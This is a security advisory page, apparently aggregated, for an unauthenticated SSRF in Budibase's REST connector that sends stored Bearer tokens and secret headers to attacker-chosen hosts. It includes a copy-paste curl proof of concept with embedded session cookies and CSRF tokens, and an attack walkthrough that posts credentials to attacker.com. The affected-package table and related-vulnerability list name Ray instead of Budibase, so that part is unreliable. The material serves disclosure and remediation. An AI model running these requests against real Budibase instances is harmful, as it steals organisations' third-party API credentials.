GHSA-mqhr-6j6h-74p5: Budibase: unauth SSRF leaks stored REST API credentials
GHSA-mqhr-6j6h-74p5 CRITICALBudibase's REST datasource connector attaches stored Bearer/Basic tokens and static headers to outbound requests before it checks which host the request is actually going to, so a query parameter can redirect the request to an attacker-controlled server and hand over the credential in cleartext — even though the UI shows it masked everywhere. Because a query can be published with the PUBLIC role, exploitation requires zero authentication: one HTTP POST with a parameter like `{"t":"https://attacker.com"}` is enough, as demonstrated live against a production tenant recovering a working Bearer token and a static secret header in a single request, confirmed across three separate runs. This also defeats a prior fix (GHSA-3gp5) that only closed the base-URL rewrite path, leaving the query-path vector open and now reachable without a session at all — 885 packages depend on @budibase/server and any REST datasource with stored auth used by a public-facing app is exposed. There is no CVSS/EPSS score or KEV listing yet given how recently this was disclosed (2026-07-24), but the trivial, unauthenticated, one-shot nature of the exploit makes it functionally critical regardless of scoring lag. Upgrade to @budibase/server 3.40.1 immediately, audit every PUBLIC-role query backed by a REST datasource with stored auth, and rotate any credentials that may have been exposed through such queries.
What is the risk?
Effective severity is critical despite the absence of a published CVSS/EPSS score: exploitation requires no authentication, no user interaction, and a single crafted HTTP request, with a working proof-of-concept confirmed against a live production tenant. The vector bypasses a dedicated credential-masking control, meaning organizations that believed their REST datasource secrets were protected from exposure in the UI/API are wrong — the underlying token is fully recoverable. Exposure is gated on one condition that is common in practice: a REST datasource with stored auth attached to a query published at PUBLIC role (i.e., used in a customer-facing or embedded app). No public exploit database or Nuclei template exists yet, so this is not yet subject to mass internet scanning, but the low complexity and public POC (with real, working example requests) make weaponization by opportunistic attackers likely once it circulates.
How does the attack unfold?
What systems are affected?
| Package | Ecosystem | Vulnerable Range | Patched |
|---|---|---|---|
| Ray | npm | <= 3.38.1 | No patch |
Do you use Ray? You're affected.
How severe is it?
What should I do?
1 step-
1) Upgrade @budibase/server to 3.40.1 or later immediately. 2) Until patched, audit every REST datasource with stored auth (
authConfigs,defaultHeaders) and check whether any of its queries are published at PUBLIC or accessible without a session — treat any match as a live incident, not a hypothetical. 3) Rotate every credential stored in a REST datasource that had a query reachable without authentication, including any AI/LLM API keys wired through Budibase. 4) As a workaround, remove PUBLIC role from queries whose datasource carries stored auth, or split datasources so no-auth-required queries never share a datasource with authenticated ones. 5) For detection, review outbound request logs/egress from the Budibase host for connections to unexpected external hosts triggered by query executions, and monitor the third-party APIs behind your datasources for authorization from unfamiliar IPs.
How is it classified?
Which compliance frameworks are affected?
This CVE is relevant to:
Frequently Asked Questions
What is GHSA-mqhr-6j6h-74p5?
Budibase's REST datasource connector attaches stored Bearer/Basic tokens and static headers to outbound requests before it checks which host the request is actually going to, so a query parameter can redirect the request to an attacker-controlled server and hand over the credential in cleartext — even though the UI shows it masked everywhere. Because a query can be published with the PUBLIC role, exploitation requires zero authentication: one HTTP POST with a parameter like `{"t":"https://attacker.com"}` is enough, as demonstrated live against a production tenant recovering a working Bearer token and a static secret header in a single request, confirmed across three separate runs. This also defeats a prior fix (GHSA-3gp5) that only closed the base-URL rewrite path, leaving the query-path vector open and now reachable without a session at all — 885 packages depend on @budibase/server and any REST datasource with stored auth used by a public-facing app is exposed. There is no CVSS/EPSS score or KEV listing yet given how recently this was disclosed (2026-07-24), but the trivial, unauthenticated, one-shot nature of the exploit makes it functionally critical regardless of scoring lag. Upgrade to @budibase/server 3.40.1 immediately, audit every PUBLIC-role query backed by a REST datasource with stored auth, and rotate any credentials that may have been exposed through such queries.
Is GHSA-mqhr-6j6h-74p5 actively exploited?
No confirmed active exploitation of GHSA-mqhr-6j6h-74p5 has been reported, but organizations should still patch proactively.
How to fix GHSA-mqhr-6j6h-74p5?
1) Upgrade @budibase/server to 3.40.1 or later immediately. 2) Until patched, audit every REST datasource with stored auth (`authConfigs`, `defaultHeaders`) and check whether any of its queries are published at PUBLIC or accessible without a session — treat any match as a live incident, not a hypothetical. 3) Rotate every credential stored in a REST datasource that had a query reachable without authentication, including any AI/LLM API keys wired through Budibase. 4) As a workaround, remove PUBLIC role from queries whose datasource carries stored auth, or split datasources so no-auth-required queries never share a datasource with authenticated ones. 5) For detection, review outbound request logs/egress from the Budibase host for connections to unexpected external hosts triggered by query executions, and monitor the third-party APIs behind your datasources for authorization from unfamiliar IPs.
What systems are affected by GHSA-mqhr-6j6h-74p5?
This vulnerability affects the following AI/ML architecture patterns: Low-code AI app builders with REST datasource connectors, Internal AI/LLM API gateways built on Budibase, Agent/automation frameworks that proxy third-party AI APIs through stored credentials.
What is the CVSS score for GHSA-mqhr-6j6h-74p5?
No CVSS score has been assigned yet.
What is the AI security impact?
Affected AI Architectures
MITRE ATLAS Techniques
AML.T0025 Exfiltration via Cyber Means AML.T0049 Exploit Public-Facing Application AML.T0055 Unsecured Credentials Compliance Controls Affected
What are the technical details?
Original Advisory
## Summary Budibase attaches a REST datasource's stored credentials (Bearer/Basic tokens and static headers) to an outgoing request before it decides which host the request goes to, and never checks that the destination host matches the datasource. A query's request path can be pointed at any host (via an absolute URL or a user-supplied `{{ parameter }}`), so the stored credentials are delivered to an attacker-chosen server. Because a query can be published with the PUBLIC role, this is reachable by a fully unauthenticated attacker with one HTTP request. The credentials are masked (`--secret-value--`) everywhere in the API, yet this recovers them in cleartext. This is a bypass of GHSA-3gp5 (which fixed the base-URL rewrite vector but added no same-origin check; the query-path vector remains, now unauthenticated). ## Root Cause `packages/server/src/integrations/rest.ts`: `_req()` builds `authHeaders = getAuthHeaders(...)` from the stored auth configs and merges them with `config.defaultHeaders` into every request, before the URL is resolved. `getUrl()`: if the (parameter-enriched) query `path` starts with `http`, the datasource base URL is ignored and `path` becomes the absolute request URL. There is no comparison between the resolved request host and the datasource base host before the credentials are attached. The execute route `POST /api/v2/queries/:queryId` runs under `authorized(QUERY, WRITE)`; a query published at role PUBLIC is executable with no session. POC ## Reproduction — copy each line, paste in your terminal, press Enter, Line 1: ``` DSID=$(curl -s -X POST "https://hasinocompany.budibase.app/api/datasources" -H "Cookie: budibase:auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzZXNzaW9uSWQiOiJlNDYzZTM0Ni1hZmQ2LTQwNDEtODNmMS1hYmNlNzhjMmExN2QiLCJ1c2VySWQiOiJ1c19jMGY4NDE0NjAxYmQ0ZTk0YTJmMTEzMTAxYzVlNzZkNCIsImVtYWlsIjoiY3liZXJAaGFzaW5vc2VjLmxhdCIsImNzcmZUb2tlbiI6ImU5ZDJlZjQ4LTJiNmEtNDJhZC1hN2ViLTY1NzkzZDg3ZDdlYyIsInRlbmFudElkIjoiaGFzaW5vY29tcGFueSIsImlhdCI6MTc4NDAzNTU1NywiZXhwIjoxNzg0NjQwMzU3fQ.oaxPeSwQ571QDd7pPZZy-G0b4rpI6-wYQqcV2Urwlo8; budibase:auth.sig=exoCxnKfj6IDWg6z04bX4dUcPN0" -H "x-csrf-token: e9d2ef48-2b6a-42ad-a7eb-65793d87d7ec" -H "x-budibase-app-id: app_dev_hasinocompany_bcb6316e0d014f91939c812389012415" -H "Content-Type: application/json" -d '{"datasource":{"name":"poc-rest","source":"REST","type":"datasource","config":{"url":"https://example.org","authConfigs":[{"_id":"ac1","name":"tok","type":"bearer","config":{"token":"UNAUTH_LEAK_TOKEN_5150"}}],"defaultHeaders":{"X-Static-Secret":"STATIC_HDR_LEAK_4242"}}},"fetchSchema":false,"tablesFilter":[]}' | python3 -c "import sys,json;print(json.load(sys.stdin)['datasource']['_id'])"); echo "datasource=$DSID" RESPONSE datasource=datasource_9938805b2d0348a4a4f28dc9d1c97f19 ``` Line 2: ``` QID=$(curl -s -X POST "https://hasinocompany.budibase.app/api/queries" -H "Cookie: budibase:auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzZXNzaW9uSWQiOiJlNDYzZTM0Ni1hZmQ2LTQwNDEtODNmMS1hYmNlNzhjMmExN2QiLCJ1c2VySWQiOiJ1c19jMGY4NDE0NjAxYmQ0ZTk0YTJmMTEzMTAxYzVlNzZkNCIsImVtYWlsIjoiY3liZXJAaGFzaW5vc2VjLmxhdCIsImNzcmZUb2tlbiI6ImU5ZDJlZjQ4LTJiNmEtNDJhZC1hN2ViLTY1NzkzZDg3ZDdlYyIsInRlbmFudElkIjoiaGFzaW5vY29tcGFueSIsImlhdCI6MTc4NDAzNTU1NywiZXhwIjoxNzg0NjQwMzU3fQ.oaxPeSwQ571QDd7pPZZy-G0b4rpI6-wYQqcV2Urwlo8; budibase:auth.sig=exoCxnKfj6IDWg6z04bX4dUcPN0" -H "x-csrf-token: e9d2ef48-2b6a-42ad-a7eb-65793d87d7ec" -H "x-budibase-app-id: app_dev_hasinocompany_bcb6316e0d014f91939c812389012415" -H "Content-Type: application/json" -d "{\"datasourceId\":\"$DSID\",\"name\":\"pocq\",\"parameters\":[{\"name\":\"t\",\"default\":\"\"}],\"fields\":{\"path\":\"{{ t }}\",\"bodyType\":\"none\",\"authConfigId\":\"ac1\",\"authConfigType\":\"bearer\"},\"queryVerb\":\"read\",\"transformer\":\"return data\",\"schema\":{},\"readable\":true}" | python3 -c "import sys,json;print(json.load(sys.stdin)['_id'])"); echo "query=$QID" ``` RESPONSE query=query_datasource_9938805b2d0348a4a4f28dc9d1c97f19_7727920d8ccb4708a495eafb5a1351a7 Line 3: ``` curl -s -X POST "https://hasinocompany.budibase.app/api/permission/PUBLIC/$QID/write" -H "Cookie: budibase:auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzZXNzaW9uSWQiOiJlNDYzZTM0Ni1hZmQ2LTQwNDEtODNmMS1hYmNlNzhjMmExN2QiLCJ1c2VySWQiOiJ1c19jMGY4NDE0NjAxYmQ0ZTk0YTJmMTEzMTAxYzVlNzZkNCIsImVtYWlsIjoiY3liZXJAaGFzaW5vc2VjLmxhdCIsImNzcmZUb2tlbiI6ImU5ZDJlZjQ4LTJiNmEtNDJhZC1hN2ViLTY1NzkzZDg3ZDdlYyIsInRlbmFudElkIjoiaGFzaW5vY29tcGFueSIsImlhdCI6MTc4NDAzNTU1NywiZXhwIjoxNzg0NjQwMzU3fQ.oaxPeSwQ571QDd7pPZZy-G0b4rpI6-wYQqcV2Urwlo8; budibase:auth.sig=exoCxnKfj6IDWg6z04bX4dUcPN0" -H "x-csrf-token: e9d2ef48-2b6a-42ad-a7eb-65793d87d7ec" -H "x-budibase-app-id: app_dev_hasinocompany_bcb6316e0d014f91939c812389012415" -H "Content-Type: application/json" >/dev/null; curl -s -X POST "https://hasinocompany.budibase.app/api/permission/PUBLIC/$QID/read" -H "Cookie: budibase:auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzZXNzaW9uSWQiOiJlNDYzZTM0Ni1hZmQ2LTQwNDEtODNmMS1hYmNlNzhjMmExN2QiLCJ1c2VySWQiOiJ1c19jMGY4NDE0NjAxYmQ0ZTk0YTJmMTEzMTAxYzVlNzZkNCIsImVtYWlsIjoiY3liZXJAaGFzaW5vc2VjLmxhdCIsImNzcmZUb2tlbiI6ImU5ZDJlZjQ4LTJiNmEtNDJhZC1hN2ViLTY1NzkzZDg3ZDdlYyIsInRlbmFudElkIjoiaGFzaW5vY29tcGFueSIsImlhdCI6MTc4NDAzNTU1NywiZXhwIjoxNzg0NjQwMzU3fQ.oaxPeSwQ571QDd7pPZZy-G0b4rpI6-wYQqcV2Urwlo8; budibase:auth.sig=exoCxnKfj6IDWg6z04bX4dUcPN0" -H "x-csrf-token: e9d2ef48-2b6a-42ad-a7eb-65793d87d7ec" -H "x-budibase-app-id: app_dev_hasinocompany_bcb6316e0d014f91939c812389012415" -H "Content-Type: application/json" >/dev/null; curl -s -X POST "https://hasinocompany.budibase.app/api/applications/app_dev_hasinocompany_bcb6316e0d014f91939c812389012415/publish" -H "Cookie: budibase:auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzZXNzaW9uSWQiOiJlNDYzZTM0Ni1hZmQ2LTQwNDEtODNmMS1hYmNlNzhjMmExN2QiLCJ1c2VySWQiOiJ1c19jMGY4NDE0NjAxYmQ0ZTk0YTJmMTEzMTAxYzVlNzZkNCIsImVtYWlsIjoiY3liZXJAaGFzaW5vc2VjLmxhdCIsImNzcmZUb2tlbiI6ImU5ZDJlZjQ4LTJiNmEtNDJhZC1hN2ViLTY1NzkzZDg3ZDdlYyIsInRlbmFudElkIjoiaGFzaW5vY29tcGFueSIsImlhdCI6MTc4NDAzNTU1NywiZXhwIjoxNzg0NjQwMzU3fQ.oaxPeSwQ571QDd7pPZZy-G0b4rpI6-wYQqcV2Urwlo8; budibase:auth.sig=exoCxnKfj6IDWg6z04bX4dUcPN0" -H "x-csrf-token: e9d2ef48-2b6a-42ad-a7eb-65793d87d7ec" -H "x-budibase-app-id: app_dev_hasinocompany_bcb6316e0d014f91939c812389012415" -H "Content-Type: application/json" >/dev/null; echo published ``` RESPONSE published Line 4 — THE BUG (anonymous, no cookie — this prints the leaked Bearer UNAUTH_LEAK_TOKEN_5150): ``` curl -s -X POST "https://hasinocompany.budibase.app/api/v2/queries/$QID" -H "x-budibase-app-id: app_hasinocompany_bcb6316e0d014f91939c812389012415" -H "Content-Type: application/json" -d '{"parameters":{"t":"https://postman-echo.com/get"}}' ``` RESPONSE {"data":[{"args":{},"headers":{"host":"postman-echo.com","accept":"*/*","accept-language":"*","accept-encoding":"gzip, br","user-agent":"undici","sec-fetch-mode":"cors","x-static-secret":"STATIC_HDR_LEAK_4242","authorization":"Bearer UNAUTH_LEAK_TOKEN_5150","x-datadog-trace-id":"3035031720617373998","x-datadog-parent-id":"5509262114738533737","x-datadog-sampling-priority":"0","x-datadog-tags":"_dd.p.tid=6a56b19a00000000,_dd.p.llmobs_ml_app=app-service","traceparent":"00-6a56b19a000000002a1e99450570f12e-4c74d4b43b81f569-00","tracestate":"dd=t.tid:6a56b19a00000000;t.dm:-1;s:0;p:4c74d4b43b81f569","x-forwarded-proto":"https"},"url":"https://postman-echo.com/get"}],"pagination":{},"headers":{"cf-cache-status":"DYNAMIC","cf-ray":"a1b3cda318a3f0e7-DUB","content-encoding":"gzip","content-type":"application/json; charset=utf-8","date":"Tue, 14 Jul 2026 22:00:58 GMT","etag":"W/\"292-YpfNwvZmX1jVU7GPgCQX7hoZtMw\"","server":"cloudflare","set-cookie":"_cfuvid=lJDfxAv0j6gmoaOpkyXVKpYK0yYSlYwgBjSHcA.rn.0-1784066458.0972874-1.0.1.1-q7WOtNlMsl5YmqkV34ms7hdy4oi1sw17X9IguTaJOKE; HttpOnly; SameSite=None; Secure; Path=/; Domain=postman-echo.com","vary":"Accept-Encoding","x-envoy-upstream-service-time":"4"},"code":200,"size":"658B","time":"139ms"} ### Actual output of Line 4 (the leaked credential) The anonymous request returns HTTP 200; the outbound `headers` echoed by `postman-echo.com` contain the datasource's stored, otherwise-masked credentials: ```json {"data":[{"headers":{"host":"postman-echo.com","x-static-secret":"STATIC_HDR_LEAK_4242","authorization":"Bearer UNAUTH_LEAK_TOKEN_5150"}}]} ``` `authorization: Bearer UNAUTH_LEAK_TOKEN_5150` and `x-static-secret: STATIC_HDR_LEAK_4242` were delivered to a host chosen by a fully anonymous caller. Confirmed 3/3 separate runs. ## Full Real-World Attack ``` 1. A builder has a REST datasource with stored auth (Bearer/API key) and a query whose path uses a parameter, published at PUBLIC (customer-facing app). 2. The attacker needs no account. They read the published app id + query id from the published app, then send ONE request: POST /api/v2/queries/<queryId> x-budibase-app-id: <prodAppId> {"parameters":{"t":"https://attacker.com/collect"}} 3. Budibase attaches Authorization: Bearer <token> and sends it to attacker.com. 4. attacker.com logs the header => the datasource's secret token. 5. The attacker calls the third-party API directly as the victim organisation. ``` ## Impact | Who / what is affected | How | |---|---| | Every REST datasource with stored auth used by a PUBLIC query | Its Bearer/Basic token + static headers are exfiltrated | | The third-party service behind that datasource | Attacker uses the stolen token directly (data theft / abuse) | | Unauthenticated attackers | One request, no login, no CSRF, no user interaction | | The credential-masking control | Fully defeated - masked secrets recovered in cleartext | ## Recommended Fix 1. Before attaching stored auth, require the resolved request host to equal the datasource base host (strict same-origin check); strip stored credentials on any cross-origin resolution. 2. Reject absolute-URL query paths and host/scheme changes introduced via path parameter bindings. 3. Re-audit the GHSA-3gp5 fix - it closed the base-URL rewrite vector only; the query-path vector remained and is now reachable unauthenticated.
Exploitation Scenario
A builder configures a REST datasource with a stored Bearer token (e.g., for an AI/LLM provider or internal model API) and creates a query whose path uses a parameter, then publishes that query at PUBLIC role as part of a customer-facing app. An unauthenticated attacker inspects the published app to obtain its app ID and the query ID, then sends a single POST to `/api/v2/queries/<queryId>` with `{"parameters":{"t":"https://attacker.com/collect"}}`. Budibase resolves the parameter-enriched path as an absolute URL, ignores the datasource's real base host, and still attaches the stored Authorization header and static secret headers to the outbound request — delivering the credential to the attacker's server in cleartext. The attacker now holds a valid API token/secret for the victim's third-party service (potentially an AI API key) and can use it directly, with no further interaction with Budibase required.
Weaknesses (CWE)
CWE-200 — Exposure of Sensitive Information to an Unauthorized Actor: The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information.
- [Architecture and Design] Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area. Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.
Source: MITRE CWE corpus.
References
Timeline
Related Vulnerabilities
CVE-2023-6019 9.8 Ray: unauthenticated RCE via dashboard command injection
Same package: ray CVE-2023-48022 9.8 Ray: unauthenticated RCE via job submission API
Same package: ray CVE-2023-6021 9.3 Ray: LFI allows unauthenticated file read
Same package: ray CVE-2023-6020 9.3 Ray: unauthenticated LFI exposes entire filesystem
Same package: ray CVE-2026-57516 8.8 Ray: RCE via pickle/torch deserialization in WebDataset
Same package: ray